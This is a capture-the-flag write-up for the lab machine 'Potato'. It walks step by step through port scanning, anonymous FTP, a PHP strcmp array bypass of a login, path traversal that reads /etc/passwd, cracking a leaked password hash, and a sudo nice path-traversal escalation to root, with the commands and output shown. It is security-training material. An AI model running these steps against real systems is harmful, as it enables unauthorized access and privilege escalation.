

Potato | Write-up

Difficulty: Easy

Platform: Proving Ground Play

Operating System: Linux

Target IP: 192.168.158.101

Date Completed: 16-02-2026

Solution Author: Armaan Nain

Objectives

- User Flag
- Root Flag

Initial Foothold

Port & Service Scan :

Scanned the machine for open ports running services facing public network.

🔗 Command : NMAP SCAN

```
sudo nmap 192.168.158.101 -sCV -oN nmap-scan --min-rate=300 -p-
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ef:24:0e:ab:d2:b3:16:b4:4b:2e:27:c0:5f:48:79:8b (RSA)
|   256  f2:d8:35:3f:49:59:85:85:07:e6:a2:0e:65:7a:8c:4b (ECDSA)
|_  256  0b:23:89:c3:c0:26:d5:64:5e:93:b7:ba:f5:14:7f:3e (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: Potato company
2112/tcp  open  ftp      ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--  1 ftp      ftp      901 Aug  2  2020 index.php.bak
|_ -rw-r--r--  1 ftp      ftp      54 Aug  2  2020 welcome.msg
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The scan revealed three open service on port 80 i.e. HTTP , port 22 i.e. SSH and port 2112 i.e. FTP . The target machine is

suspected to be running `Ubuntu` operating system on it .

Service Enumeration :

Started service Enumeration with port `2112` hosting FTP version `ProFTPD` as anonymous login is allowed. The service hoisted only contained two files listed in image above.

The `index.php.bak` contained a login page code written in `php` . In which a vulnerable function `strcmp` is used for authentication .

```
1 <html>
2 <head></head>
3 <body>
4
5 <?php
6
7 $pass= "potato"; //note Change this password regularly
8
9 if($_GET['login']=="1"){
10  if (strcmp($_POST['username'], "admin") == 0 && strcmp($_POST['password'], $pass) == 0) {
11    echo "Welcome! <br> Go to the <a href=\"dashboard.php\">dashboard</a>";
12    setcookie('pass', $pass, time() + 365*24*3600);
13  }else{
14    echo "<p>Bad login/password! <br> Return to the <a href=\"index.php\">login page</a> <p>";
15  }
16  exit();
17 }
18 ?>
19
20
21 <form action="index.php?login=1" method="POST">
22     <h1>Login</h1>
23     <label><b>User:</b></label>
24     <input type="text" name="username" required>
25     </br>
26     <label><b>Password:</b></label>
27     <input type="password" name="password" required>
28     </br>
29     <input type="submit" id='submit' value='Login' >
30 </form>
31 </body>
32 </html>
33|
```

Continued Enumeration on the webservice hoisted on port `80` . There was not much to examine on the homepage. so tried brute-forcing for other directories .

🔗 Command : Directory Brute forcing

```
gobuster dir -u http://192.168.158.101 -w
/usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-
2007_directory-list-2.3-medium.txt -o gobuster.root -x php,html
```

Directory brute-forcing revealed `admin` directory leading an authentication page `index.php`

```
> cat gobuster.root
index.php      (Status: 200) [Size: 245]
admin          (Status: 301) [Size: 318] [--> http://192.168.158.101/admin/]
potato         (Status: 301) [Size: 319] [--> http://192.168.158.101/potato/]
```

Assuming the code we obtained from FTP service is in use for the authentication page. So used a web proxy to modify the request ,sent an empty array instead of a string as the value of the password.

The screenshot shows a web browser window with the address bar displaying `http://192.168.158.101/admin/`. The page title is "Login". It features a "User:" field with the value "admin" and a "Password:" field with masked characters "•••••". A "Login" button is located below the password field.

Overlaid on the right side of the browser is the Burp Suite interface. The "Proxy" tab is active, showing the "Intercept on" button and a "Forward" button. Below this is a table of intercepted requests:

Time	Type	Direction	Method	URL
11:09:5...	HT...	→	Request	POST http://192.168.158.101/admin/index.php?login=1

The "Request" tab is selected, displaying the raw HTTP request details:

```
1 POST /admin/index.php?login=1 HTTP/1.1
2 Host: 192.168.158.101
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0)
  Gecko/20100101 Firefox/140.0
4 Accept:
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 29
9 Origin: http://192.168.158.101
10 Connection: keep-alive
11 Referer: http://192.168.158.101/admin/
12 Cookie: pass=serdesfsefhjosefjtfgyuhjiosefdftghyjh
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 username=admin&password[]=admin
```

It successfully bypassed the authentication , leading to a custom dashboard containing a log page displaying text files . Further check revealed it was vulnerable to file Inclusion attacks.

The screenshot displays a Burp Suite interface with a request and response view. The request is a POST to `/admin/dashboard.php?page=log` with a `file` parameter set to `../../../../etc/passwd`. The response shows the contents of the `/etc/passwd` file, including the entry `webadmin:1webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:/home/webadmin:/bin/bash`.

Fetches contents of `/etc/passwd` file to find potential users on the target system. The file contained a user `webadmin` password in the file itself instead of `/etc/shadow`.

```
ftp:x:113:65534::/srv/ftp:/usr/sbin/nologin
webadmin:$1$webadmin$3sXBxGUtDGIFAcnNTNhi6/:1001:/home/webadmin:/bin/bash
```

Successfully able to crack the password of the User, as a weak password was in use.

🔗 Command : Password Cracking

John creds

→ creds file contain web admin encrypted password

```
> john creds
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
dragon (webadmin)
1g 0:00:00:00 DONE 2/3 (2026-02-16 11:52) 8.333g/s 14500p/s 14500c/s 14500C/s 123456..bigben
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Tried this credentials against `ssh` service and got a successful remote session on target machine.

```
> ssh webadmin@192.168.158.101
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
webadmin@192.168.158.101's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Mon 16 Feb 2026 06:23:32 AM UTC

System load:  0.0           Processes:            151
Usage of /:   12.3% of 31.37GB Users logged in:        0
Memory usage: 29%          IPv4 address for ens192: 192.168.158.101
Swap usage:   0%

118 updates can be installed immediately.
33 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

webadmin@serv:~$ whoami && id && hostname
webadmin
uid=1001(webadmin) gid=1001(webadmin) groups=1001(webadmin)
```

Privilege Escalation

Technique Used: Relative Path Exploitation

On system enumeration it was found that user `webadmin` can run `/bin/nice` on all the files in the `/notes` directory , TO uplift the privileges with nice binary `/bin/bash` to be executed with it . Specified a relative path as parameter the `nice` binary to trick it into executing the required `bash` binary located in another directory than notes.

🔗 Privilege Escalation payload

```
sudo /bin/nice /notes/../../bin/bash
```

```
webadmin@serv:/notes$ sudo -l
Matching Defaults entries for webadmin on serv:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on serv:
  (ALL : ALL) /bin/nice /notes/*
webadmin@serv:/notes$ ps -l
F S  UID      PID     PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
0 S  1001      3790    3784  0  80   0  -  2103 do_wai pts/0        00:00:00 bash
0 R  1001      4020    3790  0  80   0  -  2199 -      pts/0        00:00:00 ps
webadmin@serv:/notes$ sudo /bin/nice
Sorry, user webadmin is not allowed to execute '/bin/nice' as root on serv.
webadmin@serv:/notes$ sudo /bin/nice /notes/id.sh
uid=0(root) gid=0(root) groups=0(root)
webadmin@serv:/notes$ sudo /bin/nice /notes/../../bin/bash
root@serv:/notes# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@serv:/notes# |
```

Flags

User: {HIDDEN}
Root: {HIDDEN}

Extra Information

Tools & Techniques Used :

Tool / Technique	Purpose (Machine's Context)
Nmap	To find open services and version scanning
Burp suite	To modify web requests
Go buster	directory brute forcing
ftp	to interact with ftp service on machine
ssh	remote session to target machine

Tool / Technique	Purpose (Machine's Context)
johntheripper	to crack credentials

References :

- ['STRCMP' PHP Function vulnerability](#)

My Experience :

- Machine was quite simple , Privilege Escalation was the easiest part of the machine.
-